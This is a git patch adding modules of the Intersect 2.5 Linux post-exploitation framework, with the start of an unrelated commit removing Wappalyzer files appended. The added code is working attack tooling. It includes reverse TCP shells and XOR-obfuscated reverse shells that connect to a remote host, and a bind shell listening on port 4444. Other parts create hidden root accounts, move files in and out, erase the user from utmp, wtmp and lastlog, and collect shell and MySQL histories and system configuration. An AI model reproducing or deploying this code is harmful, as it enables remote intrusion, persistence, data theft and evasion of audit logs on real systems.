+ mac_address=rcv.sprintf("%Ether.src%") + ip_address=rcv.sprintf("%ARP.psrc%") + write2file("livehosts.txt", "\n[+] Live Host\nIP: "+ip_address + " MAC"+ mac_address + "\n") + + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + results = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange +"\n") + writenew("external.txt", results) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/network b/Intersect-2.5/src/Modules/local/Standard/network new file mode 100644 index 0000000..735f574 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/network @@ -0,0 +1,67 @@ + +def network(): + ''' + @description: collects network information such as listening ports, DNS info, active connections, firewall rules, etc + @author: ohdae [bindshell@live.com] + @short: enumerate network info + ''' + log_msg("\n\n [ Network Module ]") + log_msg("\n Start Time: %s" % logtime) + + + print("[+] Collecting network info: services, ports, active connections, dns, gateways, etc...") + maketemp("network") + networkdir = Temp_Dir+"/network" + os.chdir(networkdir) + + proc = Popen('netstat --tcp --listening', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + + file = open("nstat.txt","a") + for items in output: + file.write(items), + file.close() + + os.system("lsof -nPi > lsof.txt") + ports = ["nstat.txt","lsof.txt"] + combinefiles("Connections.txt", ports) + os.system("rm nstat.txt lsof.txt") + + if currentuser == "root" and whereis('iptables') is not None: + os.system("iptables -L -n > iptablesLN.txt") + os.system("iptables-save > iptables_save.txt") + log_msg("\n IPTables information saved.") + else: + pass + + os.system("ifconfig -a > ifconfig.txt") + + + if distro == "ubuntu" or distro2 == "Ubuntu" is True: + os.system("hostname -I > IPAddresses.txt") + else: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("google.com",80)) + localIP = (s.getsockname()[0]) + s.close() + splitIP = localIP.split('.') + splitIP[3:] = (['0/24']) + IPRange = ".".join(splitIP) + externalIP = urllib2.urlopen("http://myip.ozymo.com/").read() + text = ("External IP Address: " + externalIP + "\nInternal IP Address: " + localIP + "\nInternal IP Range: " + IPRange) + writenew("IPAddresses.txt", text) + + os.system("hostname -f > hostname.txt") + + netfiles = ["IPAddresses.txt","hostname.txt","ifconfig.txt"] + combinefiles("NetworkInfo.txt", netfiles) + os.system("rm IPAddresses.txt hostname.txt ifconfig.txt") + + network = [ "/etc/hosts.deny", "/etc/hosts.allow", "/etc/inetd.conf", "/etc/host.conf", "/etc/resolv.conf" ] + for x in network: + copy2temp(x, networkdir) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/osuser b/Intersect-2.5/src/Modules/local/Standard/osuser new file mode 100644 index 0000000..b69d330 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/osuser @@ -0,0 +1,92 @@ + +def osuser(): + ''' + @description: Enumerate Linux distro, kernel, installed apps and services, printers, cronjobs, user lists and history files, CPU and memory info, etc. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system information + ''' + log_msg("\n\n [ OS & User module ]") + log_msg("\n Start Time: %s" % logtime) + + print("[+] Collecting operating system and user information....") + maketemp("osinfo") + os.chdir(Temp_Dir+"/osinfo/") + + proc = Popen('ps aux', + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + for items in output: + writenew("ps_aux.txt", items) + + os.system("ls -alh /usr/bin > bin.txt") + os.system("ls -alh /usr/sbin > sbin.txt") + os.system("ls -al /etc/cron* > cronjobs.txt") + os.system("ls -alhtr /media > media.txt") + os.system("/usr/bin/lpstat -v > printers.txt") + + log_msg("\n Listings of sbin, bin, cronjobs, printers, media, ps aux") + + if distro == "ubuntu" or distro2 == "Ubuntu": + os.system("dpkg -l > dpkg_list.txt") + elif distro == "arch" or distro2 == "Arch": + os.system("pacman -Q > pacman_list.txt") + elif distro == "slackware" or distro2 == "Slackware": + os.system("ls /var/log/packages > packages_list.txt") + elif distro == "gentoo" or distro2 == "Gentoo": + os.system("cat /var/lib/portage/world > packages.txt") + elif distro == "centos" or distro2 == "CentOS": + os.system("yum list installed > yum_list.txt") + elif distro == "red hat" or distro2 == "Red Hat": + os.system("rpm -qa > rpm_list.txt") + else: + pass + + if distro == "arch": + os.system("egrep '^DAEMONS' /etc/rc.conf > services_list.txt") + elif distro == "slackware": + os.system("ls -F /etc/rc.d | grep \'*$\' > services_list.txt") + elif whereis('chkconfig') is not None: + os.system("chkconfig -A > services_list.txt") + + log_msg("\n Listings of installed packages, list of installed services.") + + os.system("mount -l > mount.txt") + os.system("cat /etc/sysctl.conf > sysctl.txt") + os.system("uname -a > distro_kernel.txt") + os.system("df -hT > filesystem.txt") + os.system("free -lt > memory.txt") + os.system("cat /proc/cpuinfo > cpuinfo.txt") + os.system("cat /proc/meminfo > meminfo.txt") + copy2temp(Home_Dir+"/.bash_history") + copy2temp(Home_Dir+"/.viminfo") + copy2temp(Home_Dir+"/.mysql_history") + + log_msg("\n Collected: mount, sysctl, uname, diskspace, memory/cpu info..") + + if currentuser == "root": + os.system("find /var/log -type f -exec ls -la {} \; > loglist.txt") + os.system("locate sql | grep [.]sql$ > SQL_locations.txt") + os.system("find /home -type f -iname '.*history' > HistoryList.txt") + + log_msg("\n Enumeration of history files, SQL locations and log lists.") + + + sysfiles = ["distro_kernel.txt","filesystem.txt","memory.txt","cpuinfo.txt","meminfo.txt"] + combinefiles("SysInfo.txt", sysfiles) + + maketemp("osinfo/users") + os.chdir("users/") + + os.system("ls -alhR ~/ > CurrentUser.txt") + + if currentuser == "root": + os.system("ls -alhR /home > AllUsers.txt") + + if os.path.exists(Home_Dir+"/.mozilla/") is True: + os.system("find "+Home_Dir+"/.mozilla -name bookmarks*.json > UsersBookmarks.txt") + + log_msg("\n Listings of home user directories, Mozilla bookmarks and history..") + + diff --git a/Intersect-2.5/src/Modules/local/Standard/reversexor b/Intersect-2.5/src/Modules/local/Standard/reversexor new file mode 100644 index 0000000..62766b8 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/reversexor @@ -0,0 +1,110 @@ + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + getmod = cmd2.split(" ") + rmod = getmod[1] + if rmod in modList: + rmod = rmod+"()" + exec rmod + conn.send(xor("\n[+] Executing module...", PKEY)) + else: + conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + diff --git a/Intersect-2.5/src/Modules/local/Standard/rshell b/Intersect-2.5/src/Modules/local/Standard/rshell new file mode 100644 index 0000000..82fbe09 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/rshell @@ -0,0 +1,88 @@ + +def rshell(): + ''' + @description: Opens a reverse TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse TCP shell + ''' + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send("[+] New connection established!") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith(":reboot"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == (":mods"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith(":exec"): + pass + + elif cmd == (':killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + + diff --git a/Intersect-2.5/src/Modules/local/Standard/scrub b/Intersect-2.5/src/Modules/local/Standard/scrub new file mode 100644 index 0000000..0487fd5 --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/scrub @@ -0,0 +1,69 @@ + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + if currentuser != "root": + print("[!] Must be root to run Scrub.") + Shutdown() + + try: + Current_User = os.getlogin() + except OSError: + print("[!] Cannot find user in logs. Did you all ready run --scrub ?") + return + + log_msg("\n\n [ Executed Scrub Module ]") + log_msg("\n Start Time: %s" % logtime) + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + diff --git a/Intersect-2.5/src/Modules/local/Standard/xorshell b/Intersect-2.5/src/Modules/local/Standard/xorshell new file mode 100644 index 0000000..14da20f --- /dev/null +++ b/Intersect-2.5/src/Modules/local/Standard/xorshell @@ -0,0 +1,132 @@ + +def xor(string, key): + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + log_msg("[ XOR Bindshell module executed ]") + server.bind((HOST, PORT)) + server.listen(5) + except: + print "[!] Connection closed." + sys.exit(2) + + while 1: + conn, addr = server.accept() + log_msg("New shell connection") + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + reaper() + childPid = os.fork() + if childPid == 0: + xorhandle(conn) + else: + shellPID.append(childPid) + + +def xorhandle(conn): + time.sleep(3) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(':addroot'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith(':upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith(':download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith(":reboot"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == (":mods"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith(":exec"): + pass + #getmod = cmd2.split(" ") + #rmod = getmod[1] + #if rmod in modList: + # rmod = rmod+"()" + # exec rmod + # conn.send(xor("\n[+] Executing module...", PKEY)) + #else: + # conn.send(xor("\n[!] Module not loaded!", PKEY)) + + elif cmd2 == (':killme'): + conn.send(xor("[!] Shutting down Intersect!\n", PKEY)) + conn.close() + sys.exit(0) + + elif cmd2 == (':quit'): + conn.send(xor("[!] Closing shell connection!\n", PKEY)) + conn.close() + os._exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + diff --git a/Intersect-2.5/src/Templates/local/stock-template b/Intersect-2.5/src/Templates/local/stock-template new file mode 100644 index 0000000..4855d04 --- /dev/null +++ b/Intersect-2.5/src/Templates/local/stock-template @@ -0,0 +1,256 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer +from math import log + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + + if os.path.exists(Temp_Dir) is True: + os.chdir(Temp_Dir) + else: + os.mkdir(Temp_Dir) + os.chdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + if Logging == "yes": + global logtime + global now + import datetime + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + print("[!] Logging is enabled. ActivityLog located in %s" % ActivityLog) + os.system("touch %s" % ActivityLog) + write2file(ActivityLog, "\nIntersect Framework\nCustom script activity log\nStart Time: %s\n\n" % logtime) + + +def signalHandler(signal, frame): + if Logging == "yes": + write2file(ActivityLog, "\n [!] Ctrl-C caught. Shutting down!") + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if Logging == "yes": + if os.stat("%s" % ActivityLog).st_size < 79: + os.system("rm %s" % ActivityLog) + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + else: + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + else: + sys.exit() + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) and os.access(filename, os.R_OK): + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, Temp_Dir)) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + if Logging == "yes": + write2file(ActivityLog, "\n %s copied to: %s " % (filename, subdir)) + else: + pass + + +def write2file(filename, text): + if os.path.exists(filename) and os.access(filename, os.R_OK): + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + + +def file2file(readfile, writefile): + if os.path.exists(readfile) and os.access(readfile, os.R_OK): + readfile = open(readfile) + if os.path.exists(writefile) and os.access(readfile, os.R_OK): + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s contents copied to: %s " % (readfile, writefile)) + else: + readfile.close() + else: + pass + + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + if Logging == "yes": + write2file(ActivityLog, "\n Temporary directory [ %s ] created" % subdir) + else: + pass + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + if Logging == "yes": + write2file(ActivityLog, "\n User list required for module") + + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) and os.access(f, os.R_OK): + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + if Logging == "yes": + write2file(ActivityLog, "\n %s contents added to: %s " % (f, newfile)) + else: + pass + + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + if Logging == "yes": + write2file(ActivityLog, "\n %s added to: %s.tar.gz " % (name, directory)) + else: + print("[!] Could not find directory %s " % directory) + tar.close() + + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + print("[+] %s.tar.gz file created!" % name) + if Logging == "yes": + write2file(ActivityLog, "\n %s.tar.gz archive created." % name) + + +def log_msg(message): + if Logging == "yes": + write2file(ActivityLog, message) + + +def reaper(): + while shellPID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + shellPID.remove(pid) + + + + diff --git a/Intersect-2.5/src/Templates/remote/Server.py b/Intersect-2.5/src/Templates/remote/Server.py new file mode 100755 index 0000000..60689a5 --- /dev/null +++ b/Intersect-2.5/src/Templates/remote/Server.py @@ -0,0 +1,239 @@ +#!/usr/bin/python + +# Intersect Framework (c) 2012 +# Server-side template & module handler +# https://github.com/ohdae/Intersect-2.5 + + +import os, sys, re, signal +import socket +import time +from subprocess import Popen,PIPE,STDOUT,call +from base64 import * +import datetime +import platform +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import operator +import SocketServer, SimpleHTTPServer +from math import log + + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + + +def handler(connection): + time.sleep(2) + + while True: + cmd = connection.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith(':upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = connection.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + connection.send("[+] File upload complete!\n") + if not os.path.isfile(filename): + connection.send("[!] File upload failed! Please try again\n") + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + connection.sendall(filedata) + else: + connection.send("[+] File not found!\n") + + elif cmd.startswith(':exec'): + getname = cmd.split(" ") # split mod name from cmd + modname = getname[1] # Parse name of module we are retrieving. Will be used for logging and output purposes + + mod_data = "" # Our received file data will go here + data = connection.recv(socksize) + mod_data += data + print("[+] Module recieved!") + connection.send("Complete") # sends OK msg to the client + modexec = b64decode(mod_data) # decode the received file + module_handler(modexec, modname) # send module to module_handler where it is executed and pipes data back to client + + elif cmd == ":quit": + print("[!] Closing server!") + conn.close() + os._exit(0) + sys.exit(0) + + elif proc: + connection.send( stdout ) + connection.send("shell => ") + + connection.close() + os._exit(0) + + +def accept(): + while 1: + global connection + connection, address = conn.accept() + print "[!] New connection!" + connection.send("shell => ") + reaper() + childPid = os.fork() # forks the incoming connection and sends to conn handler + if childPid == 0: + handler(connection) + else: + activePID.append(childPid) + + +def module_handler(module, modname): + status_msg("[+] Module: %s\n" % modname) + status_msg("[+] Start time: %s" % logtime) + exec(module) + connection.send("shell => ") + + +def status_msg(message): + connection.send("%s" % message) + + +def log_msg(message): + connection.send(":log %s" % message) + + +def cat_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + catfile = open(filename, "rb") + connection.send("[+] Contents of %s" % filename) + for lines in catfile.readlines(): + connection.sendall(lines) + catfile.close() + + +def save_file(filename): + if os.path.exists(filename) and os.access(filename, os.R_OK): + savefile = open(filename, "rb") + filedata = savefile.read() + savefile.close() + connection.send(":savef %s" % filename) + time.sleep(2) + connection.sendall( filedata ) + time.sleep(2) + else: + pass + + +def cmd(command): + proc = Popen(command, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + connection.sendall( stdout ) # Send output back to the client + +def cmd2txt(command, textfile): + os.system("%s > %s" % (command, textfile)) + save_file(textfile) + os.system("rm %s" % textfile) + + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def users(): + global userlist + userlist = [] + if os.access('/etc/passwd', os.R_OK): + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def globalvars(): + global Home_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + global currentuser + global socksize + global activePID + global conn + global logtime + global now + global HOST + global PORT + + HOST = '' + PORT = 4444 + + ## Set basic socket and process information + socksize = 4096 + activePID = [] + + now = datetime.datetime.now() + logtime = (str(now.month)+"-"+str(now.day)+"-"+str(now.year)+" @ "+str(now.hour)+":"+str(now.minute)) + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + ## Get user and environment information + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + if os.geteuid() != 0: + currentuser = "nonroot" + else: + currentuser = "root" + + + +globalvars() + +conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +conn.bind((HOST, PORT)) +conn.listen(5) +print("Listening on TCP port %s" % PORT) +accept() + From fe2cc33f33a19f70c954be9c77b6ed319ef4b9de Mon Sep 17 00:00:00 2001 From: Brock Date: Mon, 22 Dec 2014 13:45:27 +0800 Subject: [PATCH 3/6] remove Wappalyzer --- Wappalyzer/.gitattributes | 19 - Wappalyzer/.gitignore | 11 - Wappalyzer/LICENSE | 674 --- Wappalyzer/README.md | 22 - .../drivers/bookmarklet/css/wappalyzer.css | 118 - .../bookmarklet/images/icons/1C-Bitrix.png | Bin 369 -> 0 bytes .../bookmarklet/images/icons/1und1.png | Bin 288 -> 0 bytes .../bookmarklet/images/icons/2z Project.png | Bin 529 -> 0 bytes .../drivers/bookmarklet/images/icons/3DM.png | Bin 631 -> 0 bytes .../bookmarklet/images/icons/3dCart.png | Bin 339 -> 0 bytes .../bookmarklet/images/icons/3ware.png | Bin 631 -> 0 bytes .../bookmarklet/images/icons/AMPcms.png | Bin 779 -> 0 bytes .../bookmarklet/images/icons/AOLserver.png | Bin 473 -> 0 bytes .../images/icons/AT Internet Analyzer.png | Bin 796 -> 0 bytes .../images/icons/AT Internet XiTi.png | Bin 796 -> 0 bytes .../drivers/bookmarklet/images/icons/ATEN.png | Bin 644 -> 0 bytes .../images/icons/ATG Web Commerce.png | Bin 873 -> 0 bytes .../bookmarklet/images/icons/AWStats.png | Bin 499 -> 0 bytes .../images/icons/Accessible Portal.png | Bin 682 -> 0 bytes .../bookmarklet/images/icons/AdInfinity.png | Bin 1363 -> 0 bytes .../bookmarklet/images/icons/AdRiver.png | Bin 299 -> 0 bytes .../bookmarklet/images/icons/AdRoll.png | Bin 633 -> 0 